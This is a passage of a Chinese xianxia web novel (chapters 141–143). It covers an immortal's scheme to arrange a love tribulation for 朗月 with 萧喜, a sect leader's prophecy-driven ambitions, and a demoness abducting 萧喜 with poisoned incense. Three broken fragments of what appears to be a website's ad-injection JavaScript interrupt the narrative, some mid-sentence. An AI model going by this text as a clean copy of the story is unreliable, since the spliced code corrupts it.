说到此处,伯乐本来平静的神色开始沉得如同一滩死水,且怒意也在有意无意的翻滚在他的话语之中。 少七慢慢捏紧了浸满汗水的手,他咬唇忍耐心中翻滚的情绪,在听了伯乐这么多话后,他的心境 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和情绪也莫名在潜移默化之间被牵动着。 他没有像最开始或是不久前那样激愤难耐,而是越来越能与伯乐共情起来。 他理解着伯乐的心绪,说道:“所以,你就利用了我,并且用这样不为人知的方法让殿下被迫堕入凡间,以此躲避劫难?” “但……但……我还是不明白,从刹摩利用血蠕激起人妖纷争之事上看,他们定然都蜗居在人间,你却将殿下往这样的火坑里推,这怎么能算躲避劫难呢?” 少七还是无法平复繁杂的心绪。 “比起让我徒儿以万余年前作为刹摩大劫胜方主将的身份留在天界,让他在往世镜的作用下堕入凡间去做一个普通的凡人,反而要危险得多。 因为,一旦刹摩灾难来临,我徒儿必定会再度作为主攻登上战场,而在劫数的作用下,刹摩锁定他的存在后,会带来无法想象的祸患。而且,我有预感,这次的灾难虽然看起来没有风声,但一定不比万余年前的刹摩大劫好对付得了多少。 我在等到你的那一刻,就已经隐约感觉到了刹摩的意图。所以我在徒儿下凡后不久,就紧跟着下凡查看了凡间的情况。一来是探一探我的预感究竟是虚是实,二来是提前算好我徒儿的命数,三来是按照计划继续布局。 果不其然,我知道的包括后来的庆阳镇大劫和两百年前少五煽动血蠕的灾难,都无不印证着我的预感是准确的。 刹摩与这些灾难相关,而灾难都与人间一个叫做仙机门的修真门派有很多接触,且此门派几百年来也都与刹摩有着矛盾的关系。为了借助这些因素,让朗月获得更有利的生存条件和与刹摩接触的机会。 我就通过给此派门主暗送预言的方式,催促朗月进入了仙机门。 当年朗月若不是因为那个预言,在他娘亲带着他进入仙机门的那个雨天,是绝不可能那么快就被那位门主接纳的。” 少七被说得一愣一愣的,他好似还感到不可置信,忙道:“朗月被从小安置到仙机门的事情,居然也是你提前做好的准备!” 伯乐没打算对他给予理睬,而是继续说道:“这次的灾难不再会和万余年前一样,仅有存在敌我之分的刹摩一族和天界仙族参与。这次还会有无辜的凡界介入其中。凡界一旦介入,我们天界的负担就会更重,我徒儿也会更加吃亏,劫难如何能逃得掉? 所以,我想了很多办法,包括了提前将昭玉的身份抹除,送入凡界,也包括了找到了可以置换他这次雷劫的劫难。” 少七顿时又兴奋起来,他语气上扬,似乎看到了破除死局的希望的曙光:“你找到了可以置换雷劫的劫难?!那究竟是什么?!” “毕竟只是消除昭玉的气息,让他消失在天界,顶多是暂时转移了刹摩注意力,如此仅仅能做到延缓劫数降临的时间罢了。要让雷劫的作用消失或是减弱,就必须做好第二手准备,我为此筹备了快两百多年了,我在其中灌输了太多孤注一掷的决绝意念。 此劫为情劫,此劫善以狡黠的命运斩杀历劫者的情丝,情丝斩不断,也根本消不毁。 所以历劫者会陷入永无止境的痛苦之中,其让无数仙者自愿殒命,是极为特殊的劫数,虽还不及等待昭玉万余年的雷劫厉害,但却也有一定的可与之一较高下的本事。 情劫一旦渡成,雷劫很可能会被抵消掉,也可能会被大大削弱,变得不足为惧起来。我给了昭玉十多年的时间去慢慢接受我给他安排的情劫命数,这是目前最好的打算。” 141. 翮归元武(6) “情劫?!”少七整只脑袋都在嗡嗡嗡直响,唯有“情劫”二字能清晰地贯穿他的耳道,捆绑在他的意识之上,不断重复。 “此情是与谁的……情爱?”他脸色不太好,应该是长时间过度刺激后留下的后遗症。 “萧喜。”伯乐毫不避讳地说道。 “殿下……不,朗月怎么可能是耽于情爱之人?更何况是在如此紧迫的时局下?真君你是不是搞错了?”少七嘴唇皮子都开裂了,随着他说话的幅度而不断抖动着。 “要知道有句话叫做,患难见真情。我也不可能搞错,我耗费了两百多年去琢磨情劫的发展走向,更是不辞辛苦,在凡界万千生灵中一个一个去找合适的人选,所以萧喜是我一早就择好的最佳人选,她的命数走向与朗月出奇得一致,此乃天降之缘也,看来这浩然天道也不愿眼睁睁看着昭玉这般的天纵奇才自此陨落。” “当然,为了保证走向的稳定,我也费尽心思与萧喜接近,并提早为其做好了解决后面多余麻烦的措施。”伯乐认真说道。 “等等……什么叫,费劲心思与之接近?!还有什么叫,后面多余的麻烦?” 少七不敢置信地盯着伯乐,其实他心里对于第一个问题的答案已经有了些底,但没有得到确切回应的他,却迟迟不愿让自己相信预判,因为这个答案太过出乎意料,还带着说不清理还乱的宿命感在其中,让他不禁产生一种恍如隔世般的奇妙之感。 伯乐会心一笑,看似不经意,却暗暗透露着沉淀已久的处心积虑,他如今所作的一切计策也是这样的风格。 “我就是那个萧喜口中经常提及的糟胡子老翁,是他的师父。六年前的我苦苦寻觅着能与朗月相配的对象,却没想到碰上了那场让我大为震撼的血蠕之灾,刚巧不巧,朗月也在那处名叫庆阳镇的灾难之地。又刚巧不巧,朗月从血蠕口下救下的那个可怜姑娘就是萧喜,更巧的不得了的是,朗月亲手救下的姑娘就是与他这一世命数走向很像的存在。 我抱着好奇的心态在暗中窥探着萧喜,我用法术观测她的过去时,神奇地发现,她居然也有与刹摩打过交道的痕迹,我很快看破了藏在表面下的真相——不知道为什么,她这个才十来岁的小姑娘竟然变成了刹摩的目标,还是刹摩不惜费劲心思,也要放长线钓大鱼来针对的目标。 我转念改变了想法,不再执于寻着命数稳定的对象,而是一心扑到了萧喜身上。 我不忍看她继续被刹摩用仇恨蒙蔽双眼,更不愿看到未来的她让自己陷入万劫不复的深渊。 我介入了她的命数,我担心当时还是仙机门弟子的朗月,会向他的门主暴露她的行踪,所以在朗月刚要对下消忆咒的时候,我动了些小动作,为她拦下了咒术,让她的记忆不被人抹去,并且在朗月攻击其他血蠕时,乘乱带走了她。 我安置好了萧喜,让自己成为她的师父,冒着被天界发现私自下凡的风险,陪了她数年。 我教会她识字看世界,慢慢改变了她对往事的看法,让她不再会被仇恨蒙蔽双眼,让她不再会被刹摩利用。我教会她在未来面临命数里的困境时该如何解决,包括了各种不用灵根出力就能使用的术法,也包括了应对不同封印时的各种旁偏但效力十足的破解之法…… 更是提前让她看清仙机门的真面目,防止凡界在刹摩介入后愈演愈烈的人妖纷争会在未来不受控制,影响她的判断。 我让她代替我的存在,在朗月成长的道路上作为指路明灯,让他既能尽快脱离仙机门思想的掌控,也能依仗仙机门得到与刹摩接触的渠道。 我借此拉近他们两人之间的距离,情劫自然而然会被朗月本命中的劫数牵动而起。” 少七听到这里,已经快要耗费掉自己所有的情绪,他白着脸,颤颤巍巍地开口:“原来,萧喜之所以还能保住庆阳镇的记忆,根本不是因为朗月年幼时的学艺不精……” 少七的表现虽然有精神萎靡的前兆,但他看向伯乐的目光还是湿漉而有神的,他紧接着上一句话问道:“可是,情劫了却之后呢……” 伯乐面不改色地说道:“不用担心,昭玉不会是那种沉迷于情爱的仙人,他的原身可是心比谁都硬的玉石头,是很特殊的存在。昭玉回到天界后,他也能很快回到他原本的状态。 我已经看准了点子,往世镜消除昭玉存在的气息后,刹摩就暂时不会找到他的存在,也肯定不会想到他会在凡间,这样就能拖下很长的时间,不但能让情劫顺利了却,还能留足时间让昭玉缓冲劫难。 我在凡界注意过萧喜和朗月的命数走向,都是与刹摩相关的,在我和仙机门的推动下,他们都会对刹摩的计划做出一定破坏,从而缓解刹摩用血蠕伤害凡界后,借此给天界施压的事态。 于是等一切结束后,雷劫就再也不会伤害得了昭玉,争对状态下滑的刹摩时,也会更有把握杀敌,天界和他都不会……” 看着伯乐说得滔滔不绝的模样,少七还是没忍住打断了他。 “我不是在问殿下,我是在问萧喜……我在问,情劫了却后,萧喜该怎么办?” “她只是个普通的凡人……” 伯乐的神色终于展露出一丝意料之外的慌乱,他避开少七直视他的眼神,垂下声色黯然道:“她的人生可以被改变,但是她的命数太过倔强,就算我再怎么努力,她的结局终究不会有变化。 她身为一介凡人却要面对刹摩的虎视眈眈,她不会得救的。我能做的不过是延缓了她堕入黑暗的时间,但并不会叫停她终有一日步入黑暗的脚步。 我知道你是什么意思。但我也只能残忍地告诉你,她的悲剧从不是我致使的,相反,是我的出现,才让她完好地活到了现在,让她提早认清未来要面对的危险。我这么做,已是仁至义尽。而作为回报,她替我帮昭玉躲避劫难,是理所应当的。” 最后一段话,伯乐全程都是垂着头说完了。 他头上散漫的头发遮住了他的面目,少七不知道他说出这些话时,是如何扭曲面容的,又如何咬紧后槽牙的,他是逼着自己用这样无情的语气将这些话说出来的。 他心里明明也有愧意,却不想被人知晓。 “但你也的确让萧喜躲过了六年前的消忆咒,她的痛苦因你而加重延续,她却一直把你当作如同救世主般的神明,是拯救过她,并拓宽和教会她很多曾经从不敢妄想的眼界和法术的师父。你怎能如此待她?” “这不公平,真君。” 少七的心恨不得扭成一团,揪得他浑身酸劲疼痛。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 萧喜要为所有人着想,可谁来为她着想? 多么讽刺,刚刚也说出类似此话的伯乐,却同样做着那些旁观者的事情。因为立场的不同,他就以为自己会和别人不同,但殊不知,他就这样在无意中成为了自己讨厌的人。 但,少七转念一想,伯乐这样机关算尽之人,真的会做出这般让自己立场混淆的事情么? 他想…… 未必…… 少七深呼吸下来,想让自己在谈话尾声尽量维持一副风平浪静的模样,他说道:“我已经知道真君的用意了。其实你今日叫我来见你,也是不得已而为之的事吧? 我在凡间与身为朗月的殿下纠葛甚多,一旦不留心,就极其容易暴露殿下的事情,不仅如此,还会牵扯出目前还隐晦存在着的刹摩之灾的问题。 所以,比起让还不知情的我在外面自乱阵脚,还不如让我主动接受一切事实,并且让我不得不站进真君你的立场之中。 你手里确实还有我的一个把柄,那就是我的确承了你的恩情,脱鬼胎换仙骨,而你也了解我绝不会是知恩不图报的人。” 伯乐静了半晌,才回道:“是。” “真君这手牌打得当真不错,差点连我都被骗了。” “什么?”伯乐被少七说得噎住。 “你根本没有完全信任我。刚刚那些其实都是我来试探你的话,而你回答时的犹豫也充分说明了这一点。真君,你不可能是一个让自己立场混淆的人物,所以怎么可能会放任你在不知情的情况下变成自己讨厌的模样? 你明明对萧喜有愧,但你没有办法去救她。你身为真君,本就无法在凡间停留许久,而且越往后,你的存在也会给局势带来很多不必要的麻烦。 你还需要在天界暗自筹备控制全局的事宜,对于凡界的事情你也已经感到力不从心,你早就料到了这些,所以在几百年前就做好了想把我拉入你阵营的准备。我的存在,是你以备时局突变时留在凡界的后手。 你知道凡间的芍七处处针对萧喜,所以你也无法完全信任这样的人会在加入自己的阵营后,全心全意地去帮她。真君,你的顾忌太多,恰恰反应了你对萧喜的重视。但是你完全多虑了,芍七早就死去了,现在存在于这万里天宫、梅香无为境里人是少七。 你根本不需要用这种激将法,将我对你做法的怀疑,转变成激发我同情心和道德感的动力。你放心,无论是朗月,还是萧喜,我一定会想尽办法帮他们的。” 少七已经起身,他的眉眼在说出这些话时,竟变得越发成熟。他从容不迫地朝伯乐行礼:“另外,请真君一定要为我打好掩护,我将会在朗月和萧喜不久后的盛京之途中出现,从而力保他们一切顺遂。” “一定。” 伯乐弯了弯眉眼,不知道为什么,他看着面前坚毅的少年郎,心中和眼中都滚烫了起来,他不断在腹中喃喃自语,他果真没有看错人。 伯乐打了响指,一阵卷席着梅花香气的大风从四面八方吹过来,将无为境内所有的一切都吹成了碎叶乱花,从他和少七的身上、面容上轻轻拂过。 少七退出无为境后,将要出茶室时,刚好听到伯乐落在他身后的嘱咐:“大战迫在眉睫,一路平安。” 142. 仙机故闻 与天界相隔甚远的凡界下—— 在朗月送出飞信的当天深夜,淡月胧明,一只飞莺冲破弥散在黑夜中的朦胧的薄雾,在仙机门的上空发出一声尖鸣。 银色的飞莺照常落到窗边,等待收信人为它解下脚踝上的信条。 清风在门主的吩咐下,负责解下飞信,她展开它之后,从上到下大致看了一遍后,又将目光定在了飞信上落款处的人名——朗月。 是了,银色夜莺是专门负责传递仙机门隐蔽消息的灵物,通常来说,通过此物传递消息可以完全避免双方信息泄露的隐患发生,而且能保证传信的速度,也能防止信件被人窃取。 因为后者两个原因,久而久之,仙机门在外办事的弟子也习惯用飞莺传信了。 不过因为大家都是内部人士,所以第一个功能完全派不上用场,于是,弟子送飞信时,会主动落款姓名,以此区分用于第一种用途的飞信。 朗月此举,也正因如此。 清风的目光定在“朗月”亲笔提下的名字上,二字在朦胧的月色下,好似也能闪出非凡明亮的光彩。 最后,还是里屋的门主出声询问是何飞信时,清风的神魄才被拉了回来。 她赶快收敛起喜色,踏进了屋子,恭敬地对风帘后端坐的人影回道:“师父,这次是师弟的亲笔回信。” “拿给我亲自看。”果不其然,门主对此展露了不同寻常的关注度。 正当清风要主动上前呈上飞信时,门主却伸手示意她止步,他久违地动了身子,揽起袍袖,从薄薄的风帘里踏出步伐,主动拉开了拦在他前方的屏风。 一个丰度犹存、身材高挺的中年男人的模样在月色下慢慢铺开,他的眉宇依旧气宇轩昂,但因为岁月的光顾,他的面貌也不得不接受万物生灵生老病死的规律。他微微蹙眉,眼角的皱纹也被牵扯起来,显得他的眼窝更加深邃,气质更加肃穆庄重,绝不允许任何人对此亵渎。 清风在他身边,大气不敢出一个,只是毕恭毕敬地摊手,让师父亲手拿走飞信。 好在,门主在完全看完信中内容后,神色有所舒缓,这让清风不由得松了一口气。 紧接着,门主抬眸,看向窗外挂在中天的弦月,映着月牙的目光闪烁起奇异的光彩,他喃喃道:“预言当真不错……预言当真不错……” 清风看着门主微扬笑意的唇角,心中为此称奇。因为,她几乎看不到师父的笑容,就算看到了,那些为数不多的笑容,也绝不会是展露给除了朗月以外的其他任何师兄弟或是师兄妹们的……包括哪怕是同样身为门主亲传弟子的她,也从未获得过师父的笑容和满怀真心的肯定。 想到此处,清风莫名酸了朗月一阵,但很快,她就忍下了这些不合时宜的小心思,只能默默一人无声地守着内心的失落。 门主冷峻的面孔染上逐渐狂热的神色,他看着清风,言语激动道:“预言上的传说之人一定就是你师弟!他可以在平台镇以一己之力杀死魔裔之兽毕方,也可以独自一人应对沧凌城中被妖物操控的血蠕之灾!他和预言中说的一样,是天降神人,是可抵妖魔的存在!还差一步……还差一步,还差盛京!只要他按照预言的走向继续行动,就能帮我们仙机门夺得这天下!清风,你知道这意味着什么吗? 这意味着妖族从此消失!血蠕会从此消失!我们也再也不用被迫与那些妖怪谈条件、委曲求全了!就像曾经,有只强悍到让我们所有人都察觉不到妖气的怪物,拿六年前那场蔓延大周大半江山的血蠕威胁我们交出极哀钟一样!” 清风被门主愈渐提声的嗓门吼得楞了半晌,但还是没忍住去纠正她所认为的、出现在师父口吻中,还不算完全准确的话。 她认真回道:“师父您从前不是和徒儿说过,那个威胁我们交出极哀钟的怪物存在太多不确定性么?那个怪物身份不明,来历模糊,就连妖气等等气息都不存在或者是说无法被我们识别,并且在六年前的灾难后,他虽然拿庆阳镇向我们开刀示威过,却还是答应了和我们提前谈判好的条件,更甚至是……” 说及此处,清风下意识地哽了一下,但她向来直爽的秉性却还是带着她继续说了下去,她觉得从小就教导她说事做事都要遵循本心的师父,也一定会支持她这么做的。 “……那个怪物也的确给了我们好处,若没有六年前的那场风波,我们也不会在修真门派站稳这样的地位。所以那个怪物立场不明,我甚至怀疑他不会是妖,否则他为何要在谈完条件后,额外扶仙机门上位?这样岂不是更加不讨好? 而且,这些年来我们仙机门斩杀的妖物千千万万,也毫无任何势力干扰…… 师父,这些话字字皆是徒儿的肺腑之言,所以我认为,我们一定要更为谨慎一些。包括多年前那个同样来历不明的预言,我们也得……” 她没有想到,就是这样信任的师父却在听完这些话之后勃然大怒。 “放肆!祖父的判断岂会出错?!我仙机门自古以来就是修真门派最为权威的门派,你怎敢说如今我门兴盛是因为那妖怪的所作所为?!清风!你大胆!” 门主口中的祖父正是两百年前带领仙机门的门主,更是和影魔做下交易的男人。 虽然这老门主从未给后代留下任何关于交易的只言片语,但他从未更变过仙机门创建的初衷——斩尽世间所有妖物,也从未让大家改变对世间万物存在的定义——凡界唯有人妖两族之分。 所以,如今的门主之所以会搬上老门主上台面,便是认定了后者那句“凡界唯有人妖两族之分”的定义,更是直接勒令清风放弃怀疑那个怪物的想法。 他觉得那种怪物,只可能是妖! 清风被吓得连忙双膝跪地,身体匍匐下去,不敢再说话,惧意爬满了她的脊背。 “你说的预言之事,当真以为为师没有考虑过?在十二年前,那预言猝然降临,毫无征兆地出现在了我手里,我展开看其内容,飘渺言语连串,叙事毫无考究,说的皆是这世间从未发生的东西,其中更是带着不少蛊惑我心智的、带着目的性的字句,我当即就觉得此物绝不可信。 但我认为此物来历不明,恐有威胁性质存在,于是我用尽一切办法去查探预言的源头,却也无疾而终。 但我没有想到,才仅仅过去不到三个月的时间,大周便局势动荡,朝廷内廷权势混乱,江山易主的风险无处不在。而这些事情就在三个月前的那来历不明的预言中出现过,一字不差,那些我摒弃并觉得荒谬的预言顷刻让我忌惮起来。 如若预言属实,那么接下来裴氏便带着他的儿子裴澈到我门内,并且那个叫做裴澈的孩子会是对抗妖魔势力的传说之人。 那几日,我抱着将信将疑的心态,迟迟留步于仙机殿,哪里都不去,只为等那个孩子会不会和预言所说的那般,会成为我仙机门的弟子。 果然,没过多久,预言上的事情再一次应验,我等到了那个孩子,并且破例不要求他接受任何的考验就能成为我的亲传弟子,取名朗月。 那个时候的我心潮澎湃,认为自己是神明选中的身负重任之人,我拥有预言,便可知晓未来之事,我甚至能做到在裴氏离去时用信誓旦旦的口吻告诉她,裴氏的天下不会坍塌。因为,我早就知道这些结局了。 我想尽办法琢磨预言,但所有的线索都指向了朗月,我不得不寄所有探索未来、掌握自己命运的希望于他。 我每一步都精打细算,无论是教授术法,还是赐其封印之剑,抑或是宣说人妖正邪之道,我无一不竭尽心力,因为我必须按照预言所说,将这位还存在着太多不确定性的“天降神人”培养成在以后能独当一面的,能助我对抗妖邪魔鬼的徒儿才是! 我一直对曾经要挟我们仙机门交出极哀钟的妖怪怀恨在心,并因门中至宝流离在外而愧对列祖列宗。 我一直都知道这些妖怪不会收手,我们屠杀妖族,他们不横加阻拦完全不是因为不在乎,而是他们有更重要的事情要做。 他们妖族蛮横、毫无道德之心,才不会关心族类生死,他们在乎的是用血蠕虐杀我们无辜的人族,从而统治凡界!” 门主说得越来越激动,原本平滑的额角如今已经□□青筋数条,他的模样已经变得让清风感到陌生。 门主微微屈膝,垂着眸,居高临下地盯着头叩得紧贴地面的少女,语气骤冷,冷笑道:“清风,你知道那个怪物为什么非要夺走极哀钟么?” “徒儿…….不……不知。” 清风整个人如同泡过冰泉一般,浑身上下冷汗不止,冷意入骨后,它们激发着她的身体越来越任由本能驱使,她抖动得厉害,无论是□□还是话语。 “血蠕畏火,而平台镇藏着一只快要苏醒的、传说拥有让途径之地倍受烈火摧残本领的烈焰异兽——毕方,毕方是威胁血蠕扩散大周的恐怖存在,那个妖怪自然不允许它在这个关头苏醒,而全天下最扛得住烈火的法器,仅有我仙机门的火水双钟之一的极哀钟。” “我多么为难,我既不能放任毕方那个怪物出世,又不愿继续被妖怪玩弄于股掌,放任血蠕继续危害人间。 在这个时候,我想到了朗月,预言中那个能在未来成长为斩杀一切妖魔的神人之子。 我在想,如果预言再度应验,拥有如此神力的朗月,他会不会帮我杀死毕方,帮我屠尽血蠕,继而再与我仙机门联手,杀死世间一切妖物,夺得真正的独权?!” “我的好徒儿,他做到了,不管是毕方,还是沧凌城的血蠕!他都做到了!预言也都做到了!所有的预言都是真的!包括成仙!包括人间太平!” 门主张开了上臂,面对窗外的流风月辉,发出阵阵癫狂的笑声。 清风猛然一震,她的身体没有继续抖颤下去,而是当场化作了铁石,定在了原处,失去了生机。 因为她刚刚听到了一个词——“成仙”。 为什么会出现这个词? 她知道这个词的出现完全是说话之人在情绪激动时无意暴露出来的……可是……为什么……为什么这个词语,会出现在这个从小教诲她要心诚、要摒弃私欲的师父口中? 是因为那个无所不能的预言么? 师父所说的,预言中带着的不少蛊惑他心智的带着目的性的字句,难道就指它么? 既然是能蛊惑师父心智的存在,那不就是他心中的人□□望么? “成仙”这个词的分量究竟有多重? 答案天下皆知,因为修真门派设立的初衷,便是以除妖除恶为积善行德的阶梯,从而得到羽化登仙的机遇。 但随着修真门派在世间的地位越来越崇高,颇具神性,原本也只是欲望的东西也要遮遮掩掩起来,从而才能对外展现出一副修真人不食人间烟火的傲人身姿,久而久之,世间的凡人貌似都快要忘记所谓堪比神仙的修真之人,也不过是一小部分与他们同族的人罢了。 于是身为修真门派内部弟子的清风,常常被训斥着,绝不可将“成仙”此词当作自己修真的信条,包括她在内的所有弟子对此心中有数,一直都缄口不言。 但她绝没有想到,人终究是人,师父终究是人,欲望这个东西怎么可能会消失? 她其实都明白这些,只是见证从小教诲她和其余弟子了却欲望凡心的师父,当着她的面脱下伪装的外壳,而感到一时无法接受。 她和那些愚昧的世人没什么两样,在见证了某种看似奇妙美好的东西后,总会臆想出他们更加美好的模样,直至在心中为他们塑造出绝对完美的形象为止 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 到最后,他们都会忘记那些存在在自己臆想中的绝对完美都是虚假的,而那看似美好的东西,充其量不过是拥有着和自己一样的、本性不移的一面的同类罢了。 “清风,我们很快就会成为这个混乱时代的救世主,朗月是我们共同的筹码,而我、你和朗月,还有整个仙机门都是同一立场的人,我们会带领整个修真界、整个人族,夺得最后的天下和胜利,创造出两百多年前和我祖父一样的辉煌事迹。” 门主放下张开的双臂,再度恢复成了原本端庄肃穆的姿态,他面色冷下,毫无任何情绪波澜,好似刚刚发生的那一切,都只是存在于清风错觉里的画面而已,好似刚刚失控发疯的人不是门主,而是清风她自己。 清风这样想着。 此时,门主已然弯腰托住了清风请罪卑微的匍匐着的双臂,轻轻和她道:“清风,你和朗月都是为师从小拉扯大的孩子,是堪比亲人的存在。 我待你甚至比待你师弟还要真诚,我愿意将这一切都告诉你,只是为了让你相信我。为师如此信任你,你也该像你师弟朗月一样信任我才是,所以下次刚刚那种忤逆我和仙机门列祖列宗的话切莫再说了,听明白了吗?” 分明是温和的语气,落在清风耳里,多么像包裹着蜜壳的尖刀,用着她无法抗拒的方式,架在了她的脖子上,威胁着她。 她知道,师父在很久之前将这些事情告诉她的时候,她就已经没有退路了,她被迫走上了不能回头的方向,一步一步地成为那个欺骗朗月的帮凶,一步一步成为师父满足私欲的棋子。 这就是为什么,她明明心疼朗月乃至喜欢朗月,却从小被这样的事情威胁着不断忍下所有诸如此类的情绪,她一直告诉自己,朗月最厌恶欺骗他的人,而她就是这样一个应当被他厌恶远离的坏人。 她自诩道德清高,所以觉得远离他或是与他保持距离是最优选,因为只有这样,才不会在最后伤害他,也不会在最后伤害自己。 但她似乎忘记了一个残酷的事实——她和朗月的距离终究会越来越远。 清风几乎是忍着快要掉落的泪,才答应下门主:“清风明白。” 她无能为力,不,这也仅仅是她的借口,一个懦弱的、不敢反抗的逃兵的借口,一个在私欲和公德的战争中的落败者——她的私欲是不愿伤害朗月,而她必须遵循的公德是听由师父安排,肩负起拯救苍生的责任。 矛盾的道理,残酷的现实。 她的私欲不得善终,师父的私欲却能借助所有人的、包括他自己心中的公德得到满足,而朗月会成为满足别人的武器,和可怜的牺牲品。 这不公平。 清风的心从没像现在这样动摇得如此强烈。 “记住,在六年前我们帮助朝廷摆平天下血疾时,我们承诺过的,为了防止以后修真门派无端干扰人族内政,与朝廷签定下的那个协议相当重要,这关乎朗月最后是否能帮我们拿定对手致命之处一事,也在很大一定程度上决定了我们最后是否能夺得胜局。 所以在此之前,我们也不可以干等着什么都不做,从现在开始必须加强对其他修真门派的看管力度,沧凌城我倒是不会担心,但盛京这块大地方就不好说了。” “清风,你作为师门亲传弟子,应当做好带头作用。”门主用犀利的目光盯紧着她。 “清风……谨遵师命。” 门主所说的六年前与朝廷签订的协议——严禁包括我们仙机门在内的等等一切修真门派,在没有朝廷特殊传唤的情况下,绝对不可进入沧凌城、盛京等等极为繁华紧要的地段。 协议表面上是仙机门出于礼让而做出的格外善解人意的举动,实际上却是在仙机门的立场上,极大地削弱了其他修真门派的话语权和行动权,还能让朝廷极大程度地信任自己。 这些是但凡身处修真界的弟子们都大概知晓一二的内容,但他们永远不会知道这个协议最为重要也最为隐蔽的作用——仙机门门主遵循预言所示的发展规律,并提早为身为“传说之人”的朗月准备好的、没有其他任何多余势力干扰的最佳行动环境。 “如此……师弟恐怕会起疑心。”清风还是没忍住,说道。 门主闻言,眼神又是一凛,却没有流露出更多的情绪。 他只是冷道:“朗月本就聪明得厉害,疑心这个东西,无论我怎么做都是避免不开的。我能做到的就是将他起疑心的时间拖到最后一关而已,到了盛京,他疑不疑心都不重要了,重要的是,不可以有其他任何多余的势力干扰我们仙机门的行动,也绝不允许有任何其他势力共享我们仙机门打下的江山。 当然清风你也不必担心,他会不会在知道真相后厌恶,乃至背叛我们,因为我早就留了他母亲裴氏的后手。 只要裴氏还在,我就有足够的把握牵动朗月的情绪,他母亲一直是他心里去不掉的痂。 他母亲在盛京,所以他就是竭尽全力也会去那里。只要他进了盛京,就永远没有回头路了,因为我相信我对他的教诲是持久有用的,我也相信我利用沧凌城之事加重他对妖族的仇视,也是显有成效的。” “他做不到背叛。” 清风默默攥紧了双手,却无力发声,她听着师父长袍拖曳的声响,看着他的身影再度没入风帘之中,她孤寞着站好了身子,躬身又是一揖,将要按照老规矩转身离去。 却在她刚刚侧身时,被师父披着冰雪气的声音唤住:“今晚去仙机殿祖堂罚跪思过,不到明日极喜钟敲响的时候,就不准起来。” 尽管师父越来越不像从前,但他的严厉从未变过,这仿佛是唯一能让清风自我欺骗的事实了。 “是。” 清风别过苍白虚弱的脸,佯装镇定地应道。 143. 云镇香雾 云镇—— 萧喜和朗月都尽快找好了客栈,想着早点休息,才能早点起跟进紧去盛京的行程安排。 今日一天下来,他们的氛围都比较轻松,也完全没有之前沧凌城那般搅和得他们恨不得日夜颠倒的闹心事情发生,所以思绪顺遂自然,进入睡眠的速度也快了很多。 行至深夜,客栈的两间屋子里进入深度睡眠的两人呼吸匀净,以至于对外面缓缓靠近的危险气息毫无察觉。 快到初秋的夜里,几乎每晚都有不小的夜风掀起,不止哪里来的推力,拿夜风的风向当作幌子,顺藤摸瓜地攀上了萧喜和朗月两间屋子的窗户,缓缓开启的窗带动了外面被风卷动的冷香,并纵其在屋子迅速散开。 月色浅若清水,流入被敞开了窗子的屋子,照出了冷香的模样——莹莹的亮色星星点点,如同被偷走了的星河幕布。 冷香奇异梦幻的朦胧感让流水般的月色变成了飘渺飞曳的软纱长绢……它们不动声色地扑在了熟睡之人的面庞上。 睡梦中的萧喜莫名呛了两声,她发现自己在咳嗽时往往让令觉得思绪昏涨,除此之外,更可怕的是,她的手脚正在软化,越来越没有气力,以至于呛咳时连能活动的肢体都找不到一截。 一双冰凉纤细的双手不知什么时候就环上了她的脖子,柔弱无骨的双手一环紧她,就登时变得力道强劲起来,犹如绷紧的铁圈。 萧喜是直接被疼醒的,但就算醒了,却还是无法完全集中精力,她不受控制地摇摆身体,看见的东西也全带着残影。但好歹,她没有脑子坏到意识不到自己中毒的地步,并且她也知道让自己中毒的正是忽然弥散得满屋子都是的奇异香雾,这些香雾里参杂着若影若无的妖气。 “是……妖……” 萧喜自然知道拥有如此扩散之力的香雾一旦放出来,就不可能不波及到别处——尤其是隔壁朗月住着的屋子。 她四肢无力地瘫软在床上,任由自己背后的妖怪控制自己,但她还是想在时间还来得及的时刻将危险的消息尽快传递给朗月。 可惜的是,她的声带居然也因为毒香变得麻痹起来,以至于说出两个字,都要使尽浑身解数。 这样含有诸多迷幻性质的妖气是很难被察觉的,更别说是针对还在熟睡又没有多少警惕心的萧喜和朗月了。要不是萧喜被人勒紧了脖子,估计睡死了都难以被这些带着微弱妖气的毒香直接毒醒。 这日子真的是一天都过不下去了,出了沧凌城还天天闹腾个不停,没有哪天是不让人不觉得闹心的! 萧喜虽然嘴上无力,但心里却腹诽不止,火气十足。 “要是不想现在就死,你就给我老老实实地把嘴巴闭上!”那双环紧她脖子的双臂的主人突然说了话,与手劲给她的印象截然不同的是,这妖怪的声音居然带着几分年轻女子娇媚的韵味,倒折煞了本该杀气腾腾的话语的威胁魄力。 这女子虽然话是这么说,手上的力道却依旧控制得很好,虽然能让萧喜感到疼痛,但完全不会威胁她生命,很显然,这女妖怪充其量就是想吓吓她,根本没有要她命的意思。 不,准确来说,应该是没有就地要她命的意思。 那女妖说话的时候语气刻意压得很低,动作虽然狠厉,但十分谨慎,不然她应该早就要把萧喜拐出窗外了。 这女妖应该是在忌惮什么。 云镇这么一块偏僻的小镇能有什么值得让这么个实力不容小觑的妖怪感到害怕?呵,除了身为仙机门弟子的朗月,还能有谁? 可惜的是,尽管萧喜知道自己有朗月这么大个筹码在手,她却做不到拖延时间,好让筹码的作用落实在自己的身上,她全身无力还意识混乱,怎么可能斗得过妖怪? 完了…… 萧喜白了脸。 过了一会儿后,那女妖怪在没有听到任何动静后,终于要动手把萧喜拽走了。 真不知道这是什么样的怪物,力气竟然如此之大,愣是拽着萧喜被迫后拉的双臂拖到了窗子上。 眼看着自己就要被妖怪拽着从高高的二楼坠下地面的萧喜苦涩地闭紧了眸子。她的身子刚被拖出去大半截的时候,她的一只靠边的脚愣是被什么东西扯住了,萧喜吓得顿时睁大了双眸,看到的是一副令人尴尬的画面。 清敛的月色静静地覆盖在眉眼明净的少年的面孔上,他的额上渗出滴滴冷汗,在月色下发散着晶莹的色泽,俨如清晨的露珠。朗月倔强着用背脊抵着窗子一边的棱角,一边尽力地探出身子,用手去拉扯萧喜的腿脚。 看得出来,面对这样有悖于礼节的画面,朗月却毫不在意,他反而更愿意让这样尴尬的动作持久些,他不希望萧喜就这样被拖走。 